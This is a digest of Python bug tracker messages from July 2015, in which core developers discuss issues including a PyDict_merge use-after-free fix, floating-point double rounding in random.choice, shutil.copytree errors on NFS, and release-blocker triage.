nosy: +viv1 Added file: http://bugs.python.org/file39859/mywork.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 13:18:47 2015 From: report at bugs.python.org (paul) Date: Sat, 04 Jul 2015 11:18:47 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436008727.27.0.472028714422.issue24407@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 13:36:28 2015 From: report at bugs.python.org (Berker Peksag) Date: Sat, 04 Jul 2015 11:36:28 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436009788.95.0.684601228524.issue24407@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report, paul. Please do not ping an issue after a day. Quoting from https://docs.python.org/devguide/patch.html?#reviewing "If your patch has not received any notice from reviewers (i.e., no comment made) after one month, first ?ping? the issue on the issue tracker to remind the nosy list that the patch needs a review. If you don?t get a response within a few days after pinging the issue, then you can try emailing python-dev at python.org asking for someone to review your patch." ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 14:17:41 2015 From: report at bugs.python.org (Stefan Krah) Date: Sat, 04 Jul 2015 12:17:41 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436012261.72.0.317914045691.issue24546@psf.upfronthosting.co.za> Stefan Krah added the comment: People have posted the asm now: https://mail.python.org/pipermail/python-list/2015-July/693509.html The fmull result appears to be the same. The good gcc versions set the control word to "truncate" and then use fistpl (single rounding with the correct mode): fmull -0x10(%ebp) fnstcw -0x1a(%ebp) movzwl -0x1a(%ebp),%eax mov $0xc,%ah mov %ax,-0x1c(%ebp) fldcw -0x1c(%ebp) fistpl -0x20(%ebp) The bad versions dump the result of fmull to memory, using "round-to-nearest" and *then* attempt to truncate with cvttsd2si, which is too late. fmull 0x18(%esp) ? fstpl 0x8(%esp) cvttsd2si 0x8(%esp),%eax I suspect that there are passages in various standards that allow both behaviors. ;) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 14:33:05 2015 From: report at bugs.python.org (Stefan Krah) Date: Sat, 04 Jul 2015 12:33:05 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436013185.61.0.883226968122.issue24553@psf.upfronthosting.co.za> Stefan Krah added the comment: > Now I'm wondering what further test coverage we really need... Ideally we'd test every C module with the tests executing "in parallel" (sort of) in multiple interpreters. I have done so for _decimal, which is mostly okay due to the thread-local contexts. However, there are a couple of minor glitches. The reason I haven't pursued this is that *if* you run _decimal in multiple interpreters, you get nasty sounding (but harmless) warnings from libmpdec, which complains about being initialized multiple times. So from the absence of bug reports I concluded that no one is using the sub-interpreter feature with _decimal. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 15:09:16 2015 From: report at bugs.python.org (Stefan Krah) Date: Sat, 04 Jul 2015 13:09:16 +0000 Subject: [issue22483] Copyright infringement on PyPI In-Reply-To: <1411575168.32.0.637271338488.issue22483@psf.upfronthosting.co.za> Message-ID: <1436015356.7.0.255136173573.issue22483@psf.upfronthosting.co.za> Stefan Krah added the comment: Andrew, given that you did not upload the package, I don't see how you have anything to do with this. Creating an internal or a *clearly distinguished* external package is fine; taking up a misleading second spot on PyPI, plagiarizing the package description *without even mentioning that this is not the original package* is not. The next version of cdecimal will be non-redistributable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 15:20:03 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 04 Jul 2015 13:20:03 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436016003.74.0.576171776458.issue24553@psf.upfronthosting.co.za> Nick Coghlan added the comment: Adding Petr Viktorin to the nosy list as well, as the kind of issues Stefan mentions there are the kinds of things that the PEP 489 extension module import issues *didn't* address yet, but we'd like to address in the 3.6 iteration of the multi-phase initialisation support for extension modules. Petr, for context, this issue is about improving our test coverage for subinterpreter support - see the earlier messages for more details. ---------- nosy: +encukou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 15:30:48 2015 From: report at bugs.python.org (Stefan Krah) Date: Sat, 04 Jul 2015 13:30:48 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436016648.11.0.465914003155.issue24553@psf.upfronthosting.co.za> Stefan Krah added the comment: I think for fast access we need a hybrid solution that allows static types (heap types slowed down _decimal) *and* cache the thread local values (like it's currently done for the thread-local context in _decimal). Caching the context brought an enormous speedup (about 20%). I'm not sure if all that can be done in a general API, but it's clearly the fastest way. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 15:51:12 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 04 Jul 2015 13:51:12 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1436017872.07.0.272450265682.issue24553@psf.upfronthosting.co.za> Nick Coghlan added the comment: That's jumping ahead a little - this issue is only about running the regression test suite from a subinterpreter, and establishing what *already* works properly. Dealing with the fallout of any quirks and outright failures we discover that way will be a different issue :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 16:03:20 2015 From: report at bugs.python.org (Mark Shannon) Date: Sat, 04 Jul 2015 14:03:20 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436018600.87.0.573368727467.issue24407@psf.upfronthosting.co.za> Mark Shannon added the comment: The tracker won't let me assign this to myself. Consider it assigned. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 16:32:07 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 04 Jul 2015 14:32:07 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436020327.53.0.331753039899.issue24546@psf.upfronthosting.co.za> Mark Dickinson added the comment: Agreed with Tim Peters about this not being possible with fully compliant IEEE 754 arithmetic (see http://stackoverflow.com/a/3041071/270986 for a sketch of a proof), but it's certainly a possibility with double rounding, as Steven's result demonstrates. And 32-bit Linux is currently the worst offender for double rounding: IIRC OS X uses the SSE2 instructions exclusively for floating-point arithmetic, and 64-bit Linux tends to do the same. Windows uses the x87 FPU, but sets the FPU precision to 53-bits, so you don't see double rounding within the normal range (though it's still possible with computations having subnormal results). So I'd say that yes, this *is* a bug in random.choice, though it's one that should show up very rarely indeed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 16:37:21 2015 From: report at bugs.python.org (Mark Shannon) Date: Sat, 04 Jul 2015 14:37:21 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436020641.16.0.918110199564.issue24407@psf.upfronthosting.co.za> Mark Shannon added the comment: There are two parts to this fix. First, we raise a runtime exception if the other dict is modified during the update/merge. Second, refcounts must be incremented around the PyDict_GetItem and insertdict calls in case the key or value is otherwise deallocated. Patch attached. ---------- keywords: +patch Added file: http://bugs.python.org/file39860/24407.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 17:20:04 2015 From: report at bugs.python.org (STINNER Victor) Date: Sat, 04 Jul 2015 15:20:04 +0000 Subject: [issue24560] codecs.StreamReader doesn't work with nonblocking streams: TypeError: can't concat bytes to NoneType In-Reply-To: <1435936324.39.0.622709208254.issue24560@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Use the io module instead using the open() function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 17:28:09 2015 From: report at bugs.python.org (Benjamin Peterson) Date: Sat, 04 Jul 2015 15:28:09 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436023689.8.0.944001947284.issue24407@psf.upfronthosting.co.za> Benjamin Peterson added the comment: Hmm, I just wrote a very similar patch. Tell me what you think. :) ---------- nosy: +benjamin.peterson Added file: http://bugs.python.org/file39861/dict_merge.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 17:48:23 2015 From: report at bugs.python.org (Mark Shannon) Date: Sat, 04 Jul 2015 15:48:23 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436024903.95.0.262406080307.issue24407@psf.upfronthosting.co.za> Mark Shannon added the comment: If the tracker had let me assign the issue, you need not have wasted your time. Oh well. Indeed, your patch looks very similar to mine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 17:58:35 2015 From: report at bugs.python.org (Tim Peters) Date: Sat, 04 Jul 2015 15:58:35 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436025515.94.0.490393038746.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Mark, note that the sequence in the OP's original report only contains 35 elements. That, alas, makes "double rounding" irrelevant to this bug report. That is, while random.choice() can suffer double-rounding surprises in _some_ cases, it cannot in the case actually reported here: in the 64-bit extended-precision format, there are at least 64 - (53 + (35).bit_length()) = 5 trailing zeroes in any possible random.random() * 35 result. IOW, all such results are exact in 64-bit arithmetic, so the first "cut back to 64 bits" rounding is a no-op. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 18:08:49 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 04 Jul 2015 16:08:49 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436026129.94.0.542352371941.issue24546@psf.upfronthosting.co.za> Mark Dickinson added the comment: Tim: yes, I agree that this shouldn't happen for the string posted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 18:37:18 2015 From: report at bugs.python.org (Russell Keith-Magee) Date: Sat, 04 Jul 2015 16:37:18 +0000 Subject: [issue23670] Modifications to support iOS as a cross-compilation target In-Reply-To: <1426400747.11.0.0527548590348.issue23670@psf.upfronthosting.co.za> Message-ID: <1436027838.25.0.451173168497.issue23670@psf.upfronthosting.co.za> Russell Keith-Magee added the comment: Another update - this time, there are only 4 failing tests on device, all related to ctypes issues. The sample Xcode project and iOS-test harness have been modified, simplifying the project layout, and using Apple-preferred directories for resources when deployed to device. ---------- Added file: http://bugs.python.org/file39862/20150704.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 19:38:52 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 17:38:52 +0000 Subject: [issue24256] threading.Timer is not a class In-Reply-To: <1432189781.3.0.318420798275.issue24256@psf.upfronthosting.co.za> Message-ID: <1436031532.5.0.771765677273.issue24256@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks, but we don't want to document an "internal only" name (which is what the leading underscore means in this case). It might be desirable to note that the name is a class in python3, I'm not sure. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 19:59:36 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Sat, 04 Jul 2015 17:59:36 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1436032776.82.0.737778971282.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: In my quest for completeness, I discovered a lack of handling given HTTP->HTTPS redirect. So I've attached another version of this patch which ensures an HTTPS handler is installed if such a redirect is found. ---------- Added file: http://bugs.python.org/file39863/urllib.request.py-do-not-overwrite-existing-opener.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 20:01:33 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 18:01:33 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1436032893.4.0.104380591957.issue24407@psf.upfronthosting.co.za> R. David Murray added the comment: Oh, he still might have written the patch, after all there isn't a lot of operational difference between the email that says "assigned to XXX" and the email that contains your text "consider this assigned". However, Benjamin has given you developer privs on the tracker, so in the future you can use assignment if you wish to :) ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 21:50:40 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 04 Jul 2015 19:50:40 +0000 Subject: [issue24548] Broken link in the unittest documentation In-Reply-To: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> Message-ID: <20150704195038.8857.40090@psf.io> Roundup Robot added the comment: New changeset 5f279db087e7 by R David Murray in branch '2.7': #24548: replace dead link with pointer to archive.org. https://hg.python.org/cpython/rev/5f279db087e7 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 21:51:06 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 19:51:06 +0000 Subject: [issue24548] Broken link in the unittest documentation In-Reply-To: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> Message-ID: <1436039466.91.0.324502555141.issue24548@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks. I typoed the issue number in the commit messages :(. The python3 commits are 050a941f69fb, 51e05ee9848a, and 631ef17fc772. ---------- nosy: +r.david.murray resolution: -> fixed stage: needs patch -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:05:50 2015 From: report at bugs.python.org (Jess Hamrick) Date: Sat, 04 Jul 2015 20:05:50 +0000 Subject: [issue24564] shutil.copytree fails when copying NFS to NFS Message-ID: <1436040350.32.0.650425735541.issue24564@psf.upfronthosting.co.za> New submission from Jess Hamrick: shutil.copytree seems to fail when copying files across NFS filesystems. In this example (see bug_demo.py), /tmp is a normal ext4 filesystem and the current working directory is NFS (version 4). Interestingly, it works fine to to copy between ext4 and NFS, just not NFS and NFS (even if it's the same NFS mount). Depending on the specific version of 3.4, there are slightly different errors. For 3.4.0: $ uname -a Linux compmodels-node 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ python3 bug_demo.py -------------------------------------------------- Python version info: 3.4.0 (default, Jun 19 2015, 14:20:21) [GCC 4.8.2] -------------------------------------------------- Copying NFS --> /tmp Copying /tmp --> NFS Copying NFS --> NFS Traceback (most recent call last): File "/usr/lib/python3.4/shutil.py", line 336, in copytree copystat(src, dst) File "/usr/lib/python3.4/shutil.py", line 212, in copystat _copyxattr(src, dst, follow_symlinks=follow) File "/usr/lib/python3.4/shutil.py", line 152, in _copyxattr os.setxattr(dst, name, value, follow_symlinks=follow_symlinks) OSError: [Errno 22] Invalid argument: 'demo_files3' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "bug_demo.py", line 27, in shutil.copytree('demo_files', 'demo_files3') File "/usr/lib/python3.4/shutil.py", line 339, in copytree if why.winerror is None: AttributeError: 'OSError' object has no attribute 'winerror' And for 3.4.3: $ uname -a Linux compmodels-node-02 3.19.0-21-generic #21-Ubuntu SMP Sun Jun 14 18:31:11 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ python3 bug_demo.py -------------------------------------------------- Python version info: 3.4.3 (default, Mar 26 2015, 22:03:40) [GCC 4.9.2] -------------------------------------------------- Copying NFS --> /tmp Copying /tmp --> NFS Copying NFS --> NFS Traceback (most recent call last): File "bug_demo.py", line 27, in shutil.copytree('demo_files', 'demo_files3') File "/usr/lib/python3.4/shutil.py", line 343, in copytree raise Error(errors) shutil.Error: [('demo_files', 'demo_files3', "[Errno 22] Invalid argument: 'demo_files3'")] This is probably related to https://bugs.python.org/issue17076 and my guess is that's also why there is a difference in the error messages between 3.4.0 and 3.4.3. ---------- files: bug_demo.py messages: 246272 nosy: jhamrick priority: normal severity: normal status: open title: shutil.copytree fails when copying NFS to NFS type: crash versions: Python 3.4 Added file: http://bugs.python.org/file39864/bug_demo.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:26:59 2015 From: report at bugs.python.org (Jess Hamrick) Date: Sat, 04 Jul 2015 20:26:59 +0000 Subject: [issue24564] shutil.copytree fails when copying NFS to NFS In-Reply-To: <1436040350.32.0.650425735541.issue24564@psf.upfronthosting.co.za> Message-ID: <1436041619.84.0.199020734745.issue24564@psf.upfronthosting.co.za> Jess Hamrick added the comment: Some further information: if I run copystat directly on 3.4.3, I get essentially the same error as on 3.4.0. So really it only looks like the difference is just in how the error is reported: Traceback (most recent call last): File "bug_demo.py", line 31, in shutil.copystat('demo_files', 'demo_files3') File "/usr/lib/python3.4/shutil.py", line 213, in copystat _copyxattr(src, dst, follow_symlinks=follow) File "/usr/lib/python3.4/shutil.py", line 153, in _copyxattr os.setxattr(dst, name, value, follow_symlinks=follow_symlinks) OSError: [Errno 22] Invalid argument: 'demo_files3' Also, I should mention that I did test this on 2.7 as well, and it is not an issue there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:31:42 2015 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 04 Jul 2015 20:31:42 +0000 Subject: [issue17277] incorrect line numbers in backtrace after removing a trace function In-Reply-To: <1361551369.14.0.772985934528.issue17277@psf.upfronthosting.co.za> Message-ID: <1436041902.8.0.876605390079.issue17277@psf.upfronthosting.co.za> Xavier de Gaye added the comment: The patch is wrong, the frame may not be run by the current PyThreadState. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:36:38 2015 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 04 Jul 2015 20:36:38 +0000 Subject: [issue24565] the f_lineno getter is broken Message-ID: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za> New submission from Xavier de Gaye: The last paragraph of Objects/lnotab_notes.txt explains that the f_lineno member of the PyFrameObject structure is needed to store the line number of the last "line" tracing event so that this value may be used as the line number of the "return" event instead of the (sometimes confusing) value computed from f_lasti. The f_lineno getter must then return the value of f->f_lineno (instead of the value computed from f->f_lasti) when tracing is set. The current implementation translates "tracing is set" as "the local f_trace trace function is not NULL", this is wrong for the following reasons: * AFAIK it is not documented anywhere that Python users implementing a trace function must delete the local f_trace functions of all the frames when setting the global trace function to None via sys.settrace(None) (issue 7238). * Bdb.set_continue() in the bdb module of the std lib seems to know about this and attempts to do it, but fails to delete f_trace from the topmost frame, named botframe (sic) (issue 16482, issue 17697). * It is not obvious how to delete the f_trace of all suspended generators when setting the global trace function to None (issue 17277). * _PyTraceback_Add() in Python/traceback.c sets frame->f_lineno, obviously forgetting that it is useless since its f_trace is NULL. This patch changes the semantics of f_lineno by stating that f_lineno is invalid when its value is -1. When tracing, the f_lineno of all the frames on the stack is valid. The f_lineno of a suspended generator is always invalid. ---------- components: Interpreter Core files: f_lineno.patch keywords: patch messages: 246275 nosy: belopolsky, xdegaye priority: normal severity: normal status: open title: the f_lineno getter is broken versions: Python 3.6 Added file: http://bugs.python.org/file39865/f_lineno.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:37:06 2015 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 04 Jul 2015 20:37:06 +0000 Subject: [issue24565] the f_lineno getter is broken In-Reply-To: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za> Message-ID: <1436042226.57.0.702199264193.issue24565@psf.upfronthosting.co.za> Xavier de Gaye added the comment: Uploading the corresponding test cases. ---------- Added file: http://bugs.python.org/file39866/f_lineno_tests.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:42:06 2015 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 04 Jul 2015 20:42:06 +0000 Subject: [issue24565] the f_lineno getter is broken In-Reply-To: <1436042198.13.0.515231192679.issue24565@psf.upfronthosting.co.za> Message-ID: <1436042526.2.0.410181683137.issue24565@psf.upfronthosting.co.za> Changes by Xavier de Gaye : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 22:56:39 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 04 Jul 2015 20:56:39 +0000 Subject: [issue24334] SSLSocket extra level of indirection In-Reply-To: <1433018248.44.0.756605302302.issue24334@psf.upfronthosting.co.za> Message-ID: <1436043399.8.0.603003614123.issue24334@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > I made SSLSocket go through SSLObject so that the test suite that is primarily testing SSLSocket will test both. Indeed, I like the fact it makes test coverage broader. Of course, if there's another way to get such coverage without duplicating lots of code, then why not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 23:19:23 2015 From: report at bugs.python.org (Min RK) Date: Sat, 04 Jul 2015 21:19:23 +0000 Subject: [issue24564] shutil.copytree fails when copying NFS to NFS In-Reply-To: <1436040350.32.0.650425735541.issue24564@psf.upfronthosting.co.za> Message-ID: <1436044763.77.0.446789512383.issue24564@psf.upfronthosting.co.za> Min RK added the comment: On a bit of further investigation, the NFS files have an xattr `system.nfs4_acl`. This can be read, but attempting to write it fails with EINVAL. Attempting to copy from NFS to non-NFS fails with ENOTSUP, which is caught and ignored, but copying from NFS to NFS raises EINVAL, which raises. Adding `EINVAL` to the ignored errnos would fix the problem, but might hide real failures (I'm not sure about the real failures, but it seems logical). Since the `copy_function` is customizable to switch between `copy` and `copy2`, making copystat optional on files, perhaps the `copystat` should be optional on directories, as well. ---------- nosy: +minrk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 23:45:32 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 21:45:32 +0000 Subject: [issue24564] shutil.copytree fails when copying NFS to NFS In-Reply-To: <1436040350.32.0.650425735541.issue24564@psf.upfronthosting.co.za> Message-ID: <1436046332.03.0.30474258385.issue24564@psf.upfronthosting.co.za> R. David Murray added the comment: There are a number of open issues with copytree originating from copystat. It would be great if someone could pull them all together and propose a solution. Making it optional might indeed be the best solution. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 00:07:07 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 04 Jul 2015 22:07:07 +0000 Subject: [issue24330] Idle doc: explain "Configure Idle" not in "Options" on OSX, etc. In-Reply-To: <1432962360.31.0.591497904103.issue24330@psf.upfronthosting.co.za> Message-ID: <20150704220704.23363.63431@psf.io> Roundup Robot added the comment: New changeset 64b42ec6ef42 by Ned Deily in branch '2.7': Issue #24330: Update IDLE doc and help to note "Configure IDLE" difference https://hg.python.org/cpython/rev/64b42ec6ef42 New changeset b9460ee09228 by Ned Deily in branch '3.4': Issue #24330: Update IDLE doc and help to note "Configure IDLE" difference https://hg.python.org/cpython/rev/b9460ee09228 New changeset 2dfdbbe0701b by Ned Deily in branch '3.5': Issue #24330: merge from 3.4 https://hg.python.org/cpython/rev/2dfdbbe0701b New changeset 055ddc0e713b by Ned Deily in branch 'default': Issue #24330: merge from 3.5 https://hg.python.org/cpython/rev/055ddc0e713b ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 00:12:50 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 04 Jul 2015 22:12:50 +0000 Subject: [issue24330] Idle doc: explain "Configure Idle" not in "Options" on OSX, etc. In-Reply-To: <1432962360.31.0.591497904103.issue24330@psf.upfronthosting.co.za> Message-ID: <1436047970.94.0.73854287517.issue24330@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for your patch, Andr?! I changed the wording a bit to make it even clearer. Applied to 2.7 (for 2.7.11), 3.4 (3.4.4), and 3.5.0 ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 02:59:15 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 00:59:15 +0000 Subject: [issue23623] Python 3.5 docs need to clarify how to set PATH, etc In-Reply-To: <1425910467.52.0.177540191477.issue23623@psf.upfronthosting.co.za> Message-ID: <1436057955.46.0.508160875177.issue23623@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:00:58 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:00:58 +0000 Subject: [issue23441] rlcompleter: tab on empty prefix => insert spaces In-Reply-To: <1423650104.74.0.902857510979.issue23441@psf.upfronthosting.co.za> Message-ID: <1436058058.98.0.195571904699.issue23441@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:05:33 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:05:33 +0000 Subject: [issue15993] Windows: 3.3.0-rc2.msi: test_buffer fails In-Reply-To: <1348173110.08.0.356112095586.issue15993@psf.upfronthosting.co.za> Message-ID: <1436058333.52.0.301473867958.issue15993@psf.upfronthosting.co.za> Larry Hastings added the comment: So, the purpose in marking this as a "release blocker" is so that we can hold up the release while we wait for Microsoft to release a new compiler? If our approach to fixing this is to get the compiler fixed, I can live with marking this as "critical", but not "release blocker". ---------- nosy: +larry priority: release blocker -> critical _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:09:51 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:09:51 +0000 Subject: [issue23020] New matmul operator crashes modules compiled with CPython3.4 In-Reply-To: <1418128303.35.0.105853053103.issue23020@psf.upfronthosting.co.za> Message-ID: <1436058591.04.0.0403949074504.issue23020@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- priority: release blocker -> normal stage: -> needs patch type: crash -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:10:31 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:10:31 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436058631.66.0.208234043135.issue15014@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:14:06 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:14:06 +0000 Subject: [issue24485] Function source inspection fails on closures In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za> Message-ID: <1436058846.94.0.408563772392.issue24485@psf.upfronthosting.co.za> Changes by Larry Hastings : ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:19:02 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 05 Jul 2015 01:19:02 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1436059142.31.0.247766657145.issue24546@psf.upfronthosting.co.za> Raymond Hettinger added the comment: I would like to close this as "won't fix". Add given the infinitesimal probability of occurrence (and long standing code), I don't think there needs to be a change to the documentation either. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:28:29 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:28:29 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1436059709.34.0.8094041066.issue23517@psf.upfronthosting.co.za> Larry Hastings added the comment: I'm not going to hold up beta 3 while you guys argue about how to round up or down the number of angels that can dance on the head of a pin. ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 03:52:49 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 01:52:49 +0000 Subject: [issue23810] Suboptimal stacklevel of deprecation warnings for formatter and imp modules In-Reply-To: <1427680454.72.0.13356883084.issue23810@psf.upfronthosting.co.za> Message-ID: <1436061169.33.0.969845461062.issue23810@psf.upfronthosting.co.za> Larry Hastings added the comment: This regression isn't thrilling, but it's not the kind of "OMG we can't release with this bug" level of escalation I associate with an actual release blocker. Let's at least defer it for now, and maybe we'll even reduce it further later. ---------- priority: release blocker -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 5 04:00:39 2015 From: report at bugs.python.org (Larry Hastings) Date: Sun, 05 Jul 2015 02:00:39 +0000 Subject: [issue24181] test_fileio crash, 3.5, Win 7 In-Reply-To: 